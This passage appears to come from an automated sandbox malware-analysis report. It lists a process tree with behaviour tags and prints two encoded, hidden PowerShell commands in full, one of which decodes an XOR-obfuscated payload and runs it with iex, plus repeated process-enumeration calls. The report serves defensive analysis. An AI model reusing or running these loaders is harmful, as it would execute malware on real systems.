GgAZwBCAG4AcwBUAFoASABjAFYATwBDAFUAQwBRAFgAeAB0AEIAbgBJAFEAWABFAGsAQgBQAEMAVQAwAE0AWAA5AGUAQwBuAGsAWQBBAFcAcwBSAFAAQwBjAGEATwBIAHgAZwBLAEgANABUAFoAMwBjAFIATwBCAGsARwBNAEgAOABIAE8ASABJAGIAWAAwAGsAQQBPAGgAawBXAE4ARQA4AEYAQwBtAGMAbQBBAFcAYwBpAE8AQwBjAEcATgBIAHgAagBCAG4ASQBUAFgAQgBRAEIATwB5AFEARwBNAEgAbABpAEsASABNAFYAZABHAHMARgBNADAASQBXAEcAbgB4AGcAQgBuADAAVABaAEgAcwB0AE8AQwBRAEcASQBIAHgAYgBQAEgASQBSAGQARwBzAEIAUAAwAEEAMABNAFgAcAB3AEMAbgBZAFUAWgBHAHMAUQBNADAASQBhAFAAbgB4AGcASgBGADQAVABaADEAMQB3AE8AQgBnAEMATQBIADkAWQBBAG4ASQBXAGEAVQBrAEEAQwB4AGsAVwBOAFgAUQBGAEMAbQBRAFkAQQBXAHQAMgBPAEMAYwBHAE4ASAB4AGkASABtAEkAVABXAGgAZwBCAE8AdwBnAFMATQBIAHQAagBDAG4ASQBQAGQARwBzAEYAQwBrAEkAVwBJAFgAYwBGAEIAawBFAFQAWgBIAHQAdwBPAEMAUQBDAE0ASAB4AHQASwBIAEkAUQBkADIAcwBCAE0ARQBFADAATQBYADQARgBDAG4AVQBSAFoARwBzAFEAUABDAGMAVwBSAG4AeABnAEcAZwBNAFQAWgAyAGMAUgBPAEMAWQBXAE0ASAA4AEgATwBIAEkAWABBAFcAcwBBAFAAQgBrAFcATgBFAHcARgBDAG0ASQBtAEEAVwBjAFIATwBDAGMAegBCAFgAeABqAEcAbQBJAFQAWABXADgAQgBPAHkAVgBwAE0ASAB0AGoAQwBuAE0AWABBAFcAcwBFAE0ARQBJAFcASgAzAGMARgBCAGcARQBUAFoASABjAFYATwBDAFEASwBRAFgAeABlAFAASABJAFIAZABrAGsAQgBQADAATQBXAE0AVwBBAEYAQwBuAFkAbQBBAFcAcwBRAEQAVQBJAGEASQBYAHgAZwBGAG4ANABUAFoAMgBNAFIATwBCAGsAZQBNAEgAOQBlAEcAbgBJAGIAVwBtAHMAQQBQAFUASQBXAE8AbQBOAHcAQwBtAGMAWABaAEcAYwBhAE8AQwBjAEcASABIAHgAagBHAGwANABUAFgARgAwAEIATwB5AG8AZQBNAEgAdABiAEsASABJAG4AVwBtAHMARgBPAHkAYwBXAEoAbgBjAEYAQgBuAG8AVABaAEgAcwBKAE8AQwBRAEsASQBIAHgAWQBJAEgASQBRAFoASABzAEIAUABFAEkAVwBNAFUAeABlAEMAbgBZAFUAWgBHAHMAVQBNADAASQBhAE4AbgB4AGcARgBrAEkAVABaADMAOABCAE8AQgBsAGgATQBIADkAdwBDAG4ASQBYAFgAVwBzAEEATwB5AGMAVwBOAEgAbABnAEMAbQBZAFkAQQBXAGMAeQBPAEMAYwA0AE4ASAB4AGoASwBGADQAVABhAFUARQBCAE8AeQBRAEcATQBIAGcARgBDAG4ATQBSAEEAVwBzAEYAUABpAGMAVwBKAG4AaABnAEIAawBRAFQAWgBIAGMAQgBPAEMAUQAwAE0ASAB4AGUAZQBYAEkAUQBaAEIAdwBCAFAARQBJAFcATQBYADkAdwBDAG4AZwBoAEEAVwBzAFgATwBDAGMAYQBJAEgAeABnAEwAMABjAFQAWgAyAE0AUgBPAEIAawA4AE0ASAA5AGcASQBIAEkAYgBXAG0AcwBBAE8AaABrAFcATgBFADgARgBDAG0ASQBYAFoARwB0ADMATwBDAGMARwBBAEgAeABqAEcAbQBJAFQAVwBuADgAQgBPAHgAawA4AE0ASABwAHQASwBIAE0AbQBBAFcAcwBGAEoAagBjAFcASQBVAGsARgBCAG4ATQBUAFoARwBNADUATwBDAFEARwBNAEgAeABlAEsASABJAFEAVwBuAHMAQgBQAGgAawBXAE0AWAB4AGUAQwBuAFUAUQBaAEcAcwBYAFAAQwBjAGEASwBIAHgAZwBHAG4ANABUAFoAbgA5AHcATwBCADQAYQBNAEgANQB5AEsASABJAFUAWgBHAHMAQQBQAGkAYwBXAE4AWAA5AGcAQwBuAHcAbQBBAFcAYwBOAE8AQwBjADQARwBIAHgAaQBBAGcATQBUAFcAbABVAEIATwB5AGMAOABNAEgAZwBGAEMAbgBNAFAAZABHAHMARgBDAEUASQBXAEkARQBrAEYAQgBRAEEAVABaAEgAYwBGAE8AQwBVAGUASQBIAHgAZQBmAFgASQBRAGQARQBFAEIAUABFAE0AVwBNAFgAcABnAEMAbgBZAFIAWgBHAHMAcgBPAEMAYwBhAEMAMwB4AGcARwBnAE0AVABaADMAZAB3AE8AQwBvAGcATQBIADkAZwBHAG4ASQBYAEEARwBzAEEATwBrAEkAVwBOAFgAOQBnAEMAbABvAG0AQQBXAGQAdwBPAEMAYwBLAE0ASAB4AGoARgBnAE0AVABXAG4AYwBCAE8ARQBFAGUATQBIAHQAegBDAG4ASQBuAGQARwBzAEUAUAB5AGMAVwBKAG4AYwBGAEIAbQBFAFQAWgBFADUAegBPAEMAZABwAE0ASAB4AFkATwBIAEkAUQBaAEIAdwBCAFAAQwBRAFcATQBYAHQAZQBDAG4AWQBZAEEAVwBzAFgATQAwAEkAYQBKAFgAeABnAEgAbAA0AFQAWgBGAGwAdwBPAEIAbABwAE0ASAA1AHkASwBIAEkAVgBhAFUAawBCAEQAQgBrAFcATgBYAFEARgBDAG0AUQBUAFoARwBjADEATwBDAGMARwBDAEgAeABqAEEAbQBJAFQAWABXAGMAQgBPAHgAawBHAE0ASABwAGkASwBIAE0AWABkAEcAcwBFAE0ARQBJAFcASgBIAGgAZwBCAG0AawBUAFoASABzAFIATwBDAFEARwBIAEgAeABlAEYAbgBJAFEAWgBoAFEAQgBQAHoAYwBXAE0AVQBsAHcAQwBuAGMAUQBaAEcAcwBVAEQAVQBJAGEAUABuAHgAZwBLAEUAWQBUAFoAQgB3AFIATwBCADQARwBNAEgAOABGAEcAbgBJAFgAWgAyAHMAQgBKAGkAYwBXAE4AMgBCAHcAQwBuAHMAbQBBAFcAaAB3AE8AQwBjAGUASQBIAHgAagBJAEYANABUAFgAMwA4AEIATwBqAGMARwBNAEgAUgBlAEMAbgBNAG0AVwBtAHMATABPAHkAYwBXAEcASABoAGcAQwBRAFUAVABaAEcATQBwAE8AQwBRAGEATQBIAHgAWgBIAG4ASQBRAEEAUgB3AEIAUAB4ADQAVwBNAEUAbAB3AEMAbgBjAFcAWgBHAHMAaQBQAEMAYwBhAEgAWAB4AGcARgBuADQAVABaAG0AcwBSAE8AQwBZAGEATQBIADUAeQBkAFgASQBSAFgAMABrAEIASgAwAEkAVwBOAG4AaABnAEMAbABnAFQAWgBHAFEANwBPAEMAYwAwAEEASAB4AGkARwBtAEkAVABYADAAawBCAE8AagBRAFcATQBIAHAAZQBDAG4ATQBnAFcAbQBzAEcASgBEAGMAVwBLAGsAawBGAEIAbgBVAFQAWgBFADUAMwBPAEMAVQBhAEgASAB4AGYAQgBuAEkAUQBBAEgAcwBCAE0ARQBBADAATQBXAEIAdwBDAG4AYwBQAGQARwBzAFQATQAwAEkAVgBRAEgAeABnAEcAbQBvAFQAWgBtAE0AdABPAEIAdwBLAE0ASAA5AFAARABuAEkAWABaAGsAawBBAEMARABjAFcATwAzAGwAZwBDAGwARQBYAFoARwBnADYATwBDAGMAQwBJAEgAeABqAEcAZwBNAFQAVwAyADgAQgBPAGoAYwA4AE0ASABSAGoAQwBuAE0AbQBaAEcAcwBMAE0ARQBJAFcAUABuAHgAZwBDAGsASQBUAFoARQBrAEoATwBDAFEAZwBRAFgAeABiAEEAbgBJAFIAZABrAGsAQgBNAHoAYwBXAE0AVwBCAGcAQwBuAFEAagBBAFcAcwBUAEQAVQBJAFcAQQBIAHgAZwBMAHcAUQBUAFoAbQBkAHcATwBCAGcAVwBNAEgAOQBQAEoASABJAFYAWgAyAHMAQQBKAHgAawBXAE8AMAB3AEYAQwBtAEUAWABaAEcAcwAxAE8AQwBjAEsAQwBIAHgAagBHAGcATQBUAFcAMwBzAEIATwBqAGQAaABNAEgAZAB3AEMAbgBNAGcAZABHAHMATABKAEQAYwBXAFAAMwBjAEYAQgBtAFkAVABaAEUAawBWAE8AQwBVAEcATQBIAHgAZgBEAG4ASQBUAFMAMwA4AEIAUABCADQAVwBNAFUAbABnAEMAbgBnAFcAWgBHAHMAcQBEAFUASQBhAEEASAB4AGcASwBFAEkAVABaAG0AYwB0AE8AQgA5AGwATQBIADkAZgBEAG4ASQBXAEEAMABrAEIASgB4AGsAVwBOAFgAdABnAEMAbQBjAFQAWgBHAGMATABPAEMAYwBDAEgASAB4AGcATgBGADQAVABXAGsAVQBCAE8AMABNAEcATQBIAGQAdwBDAG4ATQBVAGQARwBzAEsAUABDAGMAVwBHAEgAYwBGAEIAawBjAFQAWgBFADUAegBPAEMAUQBnAFEAWAB4AGkAZABYAEkAVABBAEcAcwBCAE8AawBJAFcATQBVADkAZwBDAG4AZwBOAGQARwBzAHAATQAwAEkAVwBCAEgAeABnAEEAbQBJAFQAWgBtAHMAUgBPAEMAWQA4AE0ASAA5AHcAQwBuAEkAVwBBAGsAawBCAEMARQBJAFcATwBrAHcARgBDAG4AbwBUAFoARwB0AHoATwBDAGMAMABRAFgAeABpAEgAbgBJAFQAWgBrAGsAQgBPAEUATQBXAE0ASABSAGcAQwBuAE0AUABaAEcAcwBMAEMARQBJAFcASABuAGgAZwBCAGcATQBUAFoARQBVAFIATwBDAFEAZwBNAEgAeABZAGUAWABJAFQAUwAzADgAQgBQAHoAYwBXAE0AVQA5AHcAQwBuAGcATQBkAEcAcwBpAEQAVQBJAFoAQgBYAHgAZwBLAEYANABUAFoAQgBSAHcATwBDAFUAawBNAEgAOABIAE8ASABJAFIAQQBrAGsAQgBDAGgAawBXAE4AawB3AEYAQwBsAHcAbQBBAFcAcwB4AE8AQwBjADAASABIAHgAaQBIAG0ASQBUAFgAMgA4AEIATwBqAFUAawBNAEgAUQBGAEMAbgBNAFAAZABHAHMATABQAEMAYwBXAEUAMABrAEYAQgBsAGsAVABaAEcATQBSAE8AQwBVAFcASQBIAHgAWQBIAG4ASQBUAFMAMgA4AEIAUABpAFUAMABNAFcATgB3AEMAbgBnAE4AZABHAHMAcABNADAASQBhAEcAMwB4AGcASwBIAG8AVABaAG4AcwBSAE8AQgBnAFMATQBIADgARQBHAG4ASQBWAGQAMgBzAEIAQwBFAEkAVwBPAG4ANQBnAEMAbABrAFgAWgBHAGQAMwBPAEMAYwAwAFEAWAB4AGkAQgBnAE0AVABYAEUAVQBCAE8AagBjAEcATQBIAHMARwBLAEgASQBqAEEAVwBzAEwAQwBFAEkAVwBPAFgAaABnAEMAawBJAFQAWgBFAGsASgBPAEMAVQBhAEkASAB4AGIASgBIAEkAUQBBAGsAawBCAE0AQgB3ADAATQBVAHgAdwBDAG4AawBRAFoARwBzAE8ATQAwAEkAYQBQAEgAeABnAEsARwBZAFQAWgBtAGMAdABPAEIAOQBsAE0ASAA1AHoAQwBuAEkAYgBaAEcAcwBBAE0AegBjAFcATwAyAEIAdwBDAG4AdwBYAFoARwBzADAATwBDAGMAZQBBAEgAeABnAGQAUQBNAFQAWABHAGMAQgBPAHgAbABoAE0ASABkAGoAQwBuAE0AbgBXAG0AcwBLAFAAQwBjAFcARQAzAGgAZwBCAGcAQQBUAFoARwBCAHoATwBDAFEASwBNAEgAeABZAE4ASABJAFIAZABrAGsAQgBNAHoAYwBXAE0ARQBsAGcAQwBuAFkAVQBaAEcAcwBxAE0AMABJAGEAQQAzAHgAZwBMAHcAUQBUAFoAMQAwAEIATwBCAHcAUwBNAEgAOQBQAEgAbgBJAFYAWAAwAGsAQQBNAHoAYwBXAE4AMAA4AEYAQwBtAEEAWQBBAFcAYwBVAE8AQwBjAEsASQBIAHgAagBCAGwANABUAFoAWAA4AEIATwBBAGcAQwBNAEgAaABiAEsASABNAGcAZABHAHMASwBQAEMAYwBXAEoARQBrAEYAQgBVAGMAVABaAEUAVQBKAE8AQwBVAFcASQBIAHgAYgBHAG4ASQBRAEEAMgBNAEIATwBrAEkAVwBNAFgAUgBlAEMAbgBZAFcAWgBHAHMAcQBEAFUASQBhAFEAMwB4AGcASgBHAG8AVABaADEAMABSAE8AQgB3ADgATQBIADUAegBDAG4ASQBWAGQAMgBzAEIASgB4AGsAVwBOADAAOABGAEMAbQBNAFkAQQBXAGQAMgBPAEMAYwB6AFIAbgB4AGkAQgBtAEkAVABXAG0ATQBCAE8AMABJAEcATQBIAFEARwBLAEgATQBnAGQARwBzAEcAUABpAGMAVwBQAFgAeABnAEIAbQBVAFQAWgBFAFUAUgBPAEMAVQBlAEgASAB4AGIARABuAEkAUQBTADMAOABCAFAAaAB3ADAATQBFADgARgBDAG4AUQBYAFoARwBzAHEARABVAEkAYQBRAEgAeABnAEoARwBZAFQAWgBtAGQAdwBPAEIAOAA0AE0ASAA1AHkAZABYAEkAWQBaADIAcwBCAEMAagBjAFcATgBrAHcARgBDAGwAMABUAFoARwBjADAATwBDAGMAMABKAEgAeABpAEcAbgBJAFQAWgBSADAAdABKAGcAcwBDAEEAVQA5AHkATwBGADQATABkAFIAMABrAFAAUgA4AEcAUQBXAEYAagBBAGwAbwBqAGQAbgBzAG8ARABTAFUAbwBIAG4AZAB6AEgAbABnAGgAQQAxAGsAVwBDAGgAOAA4AEgASABjAEgARwBrAGsATABjAGgAdwBUAEMAeAA4AGUASABtAFIAMgBmAFgASQBtAGMAbQB3AHMATwAwAEEARwBRAG0ARgBnAEgAbABnAG0AZABuAGcAegBJAEQARgBoAEkAWABkAHQARABsAHcAbQBkAGsARgB6AEMAQwBWAHAAQgAzADUAaQBlAFEAQQBZAGEAVwBkAHgATQBDAFUAbgBGAFcAWgB3AGUAVgB3AG0AUwBCAHcAVwBDAEMAVgBoAEgAbgBnAEcARABsAGcAZwBXAEcAdwAzAFAAUwBVADgAQgAwAGwAdABIAGwAdwBoAFMARwB3ADcASQBpAFkAagBHAFgAYwBIAE4ARQBvAFkAQQAxAFYAeQBDAHcAcwBSAFMAMgBSAHcAZQBWAHcAbQBTAEIAdwBYAE0ARQBBADQASABuAGQAOQBHAGsATQBZAFoAbgA4AFcATQBDAG8AZQBBAEgAaAA5AEIAawBBAGcAWABHAE0AegBDAGoAVQBXAEEAVwBSADIAZgBXAFkAaABBADMAcwA2AE8AaQBVAEIARgBXAFIAZQBlAFcAVQBMAGQARwBzAFYAUAB6AGMANABJAG4AaABlAEkARwBVAFYAWgAxAFUAWABQAGkAUQBlAEoAMwA5AGcAZgBGAGsATABjAGgAdwBPAEMAMABBADAAQgBFADkAWgBIAGcAVQBoAGQAbgBnAGsAUABFAEEARwBDADAAbABZAEkARgBvAFkAWgBHAHMAcABNAEUAQgBwAFEAMAA5AGIASABWAGMATwBaADIAZAB5AEMAeABrAG8ASABrAGwAWQBHAGsATQBMAGQARQBVAHoATQAwAEEANABIAGsANABHAEgAUQBjAEkAZQBYAGMAcgBDAHgAdwAzAEYAWAAxAG0ARABuADgAWQBhAFUANAAzAFAARQBBAGUASABYAGQAaQBIAGcARQBnAGQAbgBzAG8AUAB6AFUAVwBDAEUAdwBFAEEAbAB3AG0AZQBYADgAegBDAHgAOAAwAEMASABnAEgARwBnAEEATABjAGgAdwBCAEMAegBVAG8AQgBFAGsARQBBAGcAQQBiAGEAVwBkAHoATwBpAFUASwBJAGsAOQBlAEIAbABnAG0AZQBYADgAdgBDAGgAOAA4AEgAawA1AE0ARABVAFEAUQBkAGgAUQAyAEQAVABRAGUAUQBrADgARwBEAG4AbwBZAFcAawBrADEAQwBDAFYAbABIAEgAawBIAGUAWABNAGIAYQBYADkAegBNAHkAbwBhAEEAbgBkAHQAQQBWAGMATwBaAEUAVQB6AE0AegBVAEMASABrADkAYwBEAFUAUQBRAGEAVQBVAHYATQBFAEUARwBRAGsAeABpAGQAVQBVAFUAZABrAEUAMwBNAHkAYwBvAEEAawA5AGkASQBBAEEATABjAGsAVQBNAE0AeQBvAHoAQgBuAHQAeQBJAEUAUQBZAFoAMgBNADAATQBDAFYAawBGAFcARgBnAGYAVQBBAGcAWAAzAHQAegBNAHkAbwBkAEYAVwBOAG0ASgB3AGMASQBkAG0ATgB3AE0AeQBVAFcAQQAyAFIAeABmAEYAYwBMAFcASAB3AHMASQB6AFYAaABIAEgAZABZAEcAZwBRAE8AWABYADgAcgBDAGsAQQBrAFAAWABSAGkAZgBWAHcASgBWAEcAWQBrAEQAagBFAFoAUgBYAGgAWQBHAGwANABqAGEAVwBOAHoATQB5AG8AWgBCAG4AZwBIAEEAbAA4AFkAWgBuADkAeQBDAHoAVQBHAEcAWAB0AHkAQwBrAG8AagBTAEcAdwAzAE8AQwBVAGUAUQBrAHgAaQBkAFUAVQBMAGMAbgA5AHgAQwBCAHcARwBBADMAUgBZAEcAawBZAEwAYwBoAHcAVwBDAGgAOAA4AEgASABjAEgARwBrAGsATABjAG4AOAB3AEMAegBVAGsASABHAFIAMgBmAFcARQBoAFgARQBFADIATQBFAEEAOABCAFgAUgBpAE8AMQBjAEkAZABrAGsAdwBDAGsAQQAwAEEAVQBsAGkAZABGAGMATwBaADIATQB2AEQAVABvAEMAQQBrADkAWQBLAEUAbwBMAGMAbgA5AHgATQBDAFYAbABSAG0AUgAyAGYAVwBVAGIAYQBXAE0AeABQAFIAOABXAEIAbgBkAG0ARABWAHMAYgBBAGsAawB2AE0AQwBVAC8ARgBXAEYAagBIAGwAZwBoAEEAMQBrAFMATQBDAG8AQwBIAFcAUgAyAEgAbAA4AGgAZQBVAGsAegBDAHkAbwBlAEEAawA1AG0ARABVAFEAUQBkAG4AcwA1AE0ARQBFAGEAQQBrADUAOQBIAGsAQQBnAEEAeABrAGsASQB6AFUASwBDADMAZAB0AEMAVgBjAE8AWgBIAGMAMQBDAGgAOABlAEgAbQBJAEcAZgBBADAAPQAnADsAJAB2AG0AZQByAGUAPQAnAGkAcgBQAHIALQA1AEwAMABCADEALQBDACcAOwAkAHUAcwBkAHIAbwBqAG0APQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAagBjAGkAdABzACkAOwAkAGYAawBwAGwAZQBtAGoAdQA9ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAAoAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJAB1AHMAZAByAG8AagBtAC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAHUAcwBkAHIAbwBqAG0AWwAkAGkAXQAtAGIAeABvAHIAWwBiAHkAdABlAF0AJAB2AG0AZQByAGUAWwAkAGkAJQAkAHYAbQBlAHIAZQAuAEwAZQBuAGcAdABoAF0AfQApACkAKQA7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABmAGsAcABsAGUAbQBqAHUAKQApAHwAaQBlAHgA
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -NonInteractive -Command "(Get-CimInstance -ClassName Win32_OperatingSystem).LastBootUpTime.ToString('yyyyMMddHHmmss')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:1000
    • C:\Windows\system32\tasklist.exe
      "tasklist" /NH /FO CSV
      2⤵
      • Enumerates processes with tasklist
      PID:5748
    • C:\Windows\system32\tasklist.exe
      "tasklist" /NH /FO CSV
      2⤵
      • Enumerates processes with tasklist
      PID:2236
    • C:\Windows\system32\tasklist.exe
      "tasklist" /NH /FO CSV
      2⤵
      • Enumerates processes with tasklist
      PID:2128
    • C:\Windows\system32\tasklist.exe
      "tasklist" /NH /FO CSV
      2⤵
      • Enumerates processes with tasklist
      PID:5412
    • C:\Windows\system32\tasklist.exe
      "tasklist" /NH /FO CSV
      2⤵
      • Enumerates processes with tasklist
      PID:4264
    • C:\Windows\system32\tasklist.exe
      "tasklist" /NH /FO CSV
      2⤵
      • Enumerates processes with tasklist
      PID:5744
    • C:\Windows\system32\tasklist.exe
      "tasklist" /NH /FO CSV
      2⤵
      • Enumerates processes with tasklist
      PID:4836
    • C:\Windows\system32\tasklist.exe
      "tasklist" /NH /FO CSV
      2⤵
      • Enumerates processes with tasklist
      PID:5588
    • C:\Windows\system32\tasklist.exe
      "tasklist" /NH /FO CSV
      2⤵
      • Enumerates processes with tasklist
      PID:5380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -NoL -W Hidden -EncodedCommand JABtAGQAbQBwAHMAPQAnAEYAUwBNAEkAQQBSAE4AdwBPAFIAMAArAEEAVAAwAGUATQBnADAAUQBBAFMASQB2AEsAUgAwACsASABrADQAQwBIAHcAMABYAEYAaQBJAHYATwBRAEkAQQBIAGsANABQAE0AeABzAHEARABTAEoAeABPAFEARQAyAEgAaABzAFAATgBUAE0ARQBYAHcAZwBIAEwAZwBjAHQATgBTAFUAYQBOAEIASQBFAEQAdwAwAEIATABnAEUAMQBhAHoARQBjAE4AdwAwAFEARAB3ADAAQgBMAGcARQB5AEEAVABVAGQARAB4AEkAWABDAGcAZwByAEcAQQA4AHQATQBnADgAQQBEAEgAawBJAEQAdwBvAFQAQQBBAE0ASABhAGkARQBmAEIAQQAwAHAASAB3AGcARwBYAHcAOAB1AEUAVABsAEgARAB5AEUAWABGAGkASQBzAEkAZwA4AEMARwBqAFUAKwBEAEIASQBVAEUAaABRAHYASwBSADAAKwBIAGsANABDAEYAUwBNAFgASAB4AGcAVgBXAGcATQBHAGEAMABZAGkATQBnAEkATQBBAFIARQBSAEwAaAB3AEYATgBFADQARwBOAEMATQBFAEMAUQBvAEcATgBsAGsAbwBNAEUATgBEAEcAdwBrAHUAQQBRAG8ANwBMAGcAYwByAEQAUgBRAEQARwBpAEEAQQBIAHcAdwByAEIAQQA4AHYASQBEAFkAWgBHAEEANABpAEUAdwAwAG8ATwBsAHMAdgBDAGoAVgBPAEgAdwA4AGgAQwBpAFUAQgBYAGoAcwA5AEQAawBJAGQATgBIAGgAMQBBAFEAMABYAEkAUgA0AEEARABrAEoARwBIAHcANABpAEEAUwBjAEIATABnAFEAdABFAFEATQBVAEQAMwBnAHQARABpAEkAdQBYAHcATQA4AGEAawBjAEcARgBTAE0AWABWAGgAcwBWAFgAaAA4ADIASABoAHMAUABIAHcANQAxAEEAUgBJAHYAVgBoAGcARwBNAEUAWQBuAEQAeABJAFgAQwBRAGcAQgBYAGoAawA5AEEAUwBVAFoASAB3AGsAWABDAGkATQBzAE4AbAA0AHcASABFADQAeQBCAHgAOAA5AEoAQgBRAEUATABTADAAMQBEAHkAVQAwAEgAdwBsADAASQBpAEEARgBBAHgAcwArAEgAegBVAGUATQBnADAAaQBBAFEAZwByAFAAUgBJAEEARABqADAAegBOAHgASQBQAEIAUQBzAEsASgBRAEEARwBOAEMAVQBBAE4AQgB3AEwAVgBpAEkAcgBKAGkATQBGAEQAaQA0AFIASABRAGsAQQBDAFIAYwBGAE8AUgBJAEEARwBrAFkAbgBEAHgASQBYAEMAUQBnAEIAUABWAGcAKwBEAGsAWQBCAEIAQQAwAHAASAB3AG8AUgBCAEEAOABCAEkARABVADUARABCAEkAbQBFAGgASQBhAFAAUQBRAEcAQwBqAFkAQwBBAHcAMABEAFYAaQBBAEIATABnAE0AQQBIAGkARQBDAE4AUQA4AFgARgBpAEkAcgBMAGgAdwAzAEEAUwBVAGEATgBCAHcAWABVAHkASQBGAE8AZwA4ADIASABoAHMAUABEAEIAMABMAFYAaQBOAHgASgBWADAAdABHAGsAWQB4AE4ASABrAFAARABCAHMAUgBMAFYAQQB0AEgARQA1AEgATQBnAGwAMABLAFMAVQBWAEYAeABzAHQARQBVAGMAOQBGAFMATQBJAEEAUgBOAHcATwBSADAAKwBBAFQAMABlAE0AZwAwAFEAQQBSAHMAdgBBAHgAcwArAEMAagBVAEQARAB4ADEAMABDAGcAZwBLAEkAUgBnAEcARABoAHMARgBEAHgASQBNAEEAUwBVAEYAVgB3ADgAeQBhAHgAcwBEAEQAQQAxADgAVgBTAEkANwBMAFIASQArAEEAVAAxAEUATgB4ADAATABDAGkASQA3AEwAZwBjADkATgB5AEYARwBIAHcAMQB3AEUAQwBVAEIATABRAFEAQgBIAGoARQBjAE0AZwBrAEgARQBoAGcAYQBQAFEASQBGAEgAaQBFAE0ASABSAHMAcQBEAFMASgB3AEEAeAB3AEYARABnADgAZQBOAFMARgB3AEQAaQBNAFYATwBSAEkAdABIAFUAYwBSAEIAdwBrAGkARAB5AE0AYQBJAFEASQBGAEgAawA0AE0ATQBnAGwAdwBDAGkAUQBGAE8AZwBFAG8ARwBqAFkAZgBNAGkAZAAwAEQAQwBBAEYASwBSADAAKwBIAGcAOABhAE4AUwBOAHcAQwBpAFEARgBPAGcARQBvAEcAagBZAGYARAAzAGsATABIAHkAVQBhAFAAUgBnAEcARwBrAEkAYQBNAHcAMABRAEQAdwAwAEIATABnAEUAQQBhAHgAcwBEAE4AQgAwAGgASAB3ADAAdgBPAFYAdwArAEMAagA0AEYASAB3AGsAUABDAGkAUQBLAEwAUQBjACsARABnADgAQgBEAEIASQBNAEUAeABzAGEAQgB3AFEAdABNAEEAQQBSAEgAeQBjAFgAVgBTAE0AVgBJAFIANABIAE4AQwBJAEQARABCAEkAdABDAGcAZwByAEcAQQA4AHQATgB5AFUAZQBOAFgAZwB4AEgAQwBVAHYASQBoADAAKwBBAFIAOABhAEgAeQBNAHkAQQBRAGcAcwBJAFIAOABHAGEAMAA0AEYATgBCADAAaABIAHcAMAB2AE8AVgB3ACsAQwBqADQARgBIAHcAawBQAEUAaQBKAHcAUABRAFEAKwBOAEMARQBEAEQAQQBsAHcAQwBpAFEARgBPAGcARQB2AEMAQgBnAGQARABDAGMAcABGAFIAcwBYAFcAZwBBAEcARABpAEkAUgBCAGgAawBFAEQAUwBKAHcAQQB4AHcARgBEAGcAOABlAE4AUwBGAHcARABpAE0AVgBPAFIASQB0AEUAUQBBAFIAQgBIAGcAVABWAGcAMABVAEoAUQBBAEcATgBDAFUAQQBOAEIAcwBxAEQAUgBzAHMATwBSAHMARwBIAHoAVQBlAE0AZwAwAGkAQQBSAEUAUgBMAFMATQBHAGEAeABzAEQARwBoAHcASABEAGkAVQBGAEMAQQA4AG8ARAB6AFUAZQBNAGcAMABpAEEAUQBzAEsAUABRAFEARwBBAFQAVQB6AE4AeABJAE0AQQBRADAAWABJAFEAYwBGAEQAZwA4AGQAQQB3ADAARABWAGkAQQBCAEwAZwBNACsATgBCAHMARgBEAEIAOQB3AEQAaQBNAFYATwBpAE0AdQBFAFMAVQBhAE4AQgBJAEgASQBTAFUAVgBGAHgAcwB4AEgAagBGAEcATgB3AGsARQBYAHcAZwBCAFAAUQBVAEEARABnADgARgBBAHcAMABEAFYAaQBBAEIATABoAHcASABOAEMARQBCAE4AQQAwAEQARABCAHMAUgBMAGcAWQBvAE4AQwBGAEMARABCAGsAVQBDAEEAMABCAEwAZwBZAG8ATgBDAFUAZQBNAGcAawBtAEwAUQBJAHIAUABSAHcASABIAEQAawBDAEQAQQB3AFAAVgB5AE0AcgBMAGwARQB0AEgAQQBjAEEATgB4ADEAeABFAGgAUQBGAEsAVgBnAEYARwBqAFkAQwBBAHcAMABEAFYAaQBBAEIATABnAE0AKwBEAGsASgBFAEcAUwBZAEgASAB5AE4AdwBDAHgARQA5AEQAawBZAHgATgB4ADAAOQBDAGkASQA3AEwAaAB3ADEAYQB4ADgARwBOAEEAMABYAE4AeABnAGEAUABRAGMAdABHAGoAMAB1AE4AeAAxAHcARABTAE4AeABDAHgASQB0AEgAQwBVAGEARABDAGMAVABFAHgAcwBGAE8AUgBFADgASABFAFkAQgBCADMAaAAwAEQAUgBRAHMATwBSADAAbwBOAEMARgBDAEQAQgBrAE0ATABTAEEAVgBOAGcAOAB2AEgAeQBVAGEATgBYAGsAVQBFAGgAUQBGAEsAVgBnAEYARwBqAFkAZABOAEIASQBIAEkAaQBNAFYAUABUAHMAQQBEAGsATQBHAEgAdwBJADIATABRAGcAQgBMAGcAOAB0AEgAegBsAEcARAB4AEkAUABWAGcAMABVAEwAUgBFAEcAYQB6AGsAYQBOAFgAawBJAEEAUQAwAFgATgBSAGcARwBIAGkARQBuAEQAeABJAFgAQwBRAGcAQgBQAFIAdwBIAEgARABrAEMARABBAHcAUABWAHkATQByAEwAaAB3ADEAQQBUADAAWQBNAGgAMQAwAEMAaQBNAHMAUABTAFUARgBBAFQAbABHAEgAdwBrAE0ARQBoAEEAVgBQAFEATQAyAEEAUgA4AGMATgBBAEkAVABIAEMAQQBWAFYAaAAwAHQATQBBAEEAUgBIAHkATgAwAE4AeABnAGEAUABRAGMAdABNAEEAQQBSAEgAeQBNAFgAQwB5AFUAVgBGAHgAcwB4AEgAagBGAEcATgB3AGsATQBBAFEAMABVAEMAeABnAEcATgBDAFUAQQBNAG4AcwBMAFYAaQBRAFYARgB3AFEAdABIAEIAOABHAEQAQQAwAFgAQwBpAE0AcgBMAGgAdwB5AGEAegBFAEcATQBnAHMAMQBYAHcASQBsAEEAQQBNAEIARABCAHMAdg